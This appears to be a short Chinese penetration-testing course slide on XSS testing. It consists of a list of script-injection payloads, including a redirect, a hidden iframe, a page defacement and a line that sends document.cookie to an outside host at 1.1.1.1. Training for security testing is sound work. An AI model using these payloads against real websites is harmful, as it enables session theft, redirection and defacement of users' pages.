



渗透测试工程师技术实战课

第4课 跨站脚本检测、XSS测试

XSS

- `<script>alert('xss')</script>`
- `<a href='' onclick=alert('xss')>type</a>`
- `<img src=http://1.1.1.1/a.jpg onerror=alert('xss')>`
- `<script>>window.location='http://1.1.1.1'</script>`
- `<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>`
- `<script>new
Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>`
- `<script>document.body.innerHTML="<div
style=visibility:visible;><h1>THIS WEBSITE IS UNDER
ATTACK</h1></div>";</script>`





谢谢观赏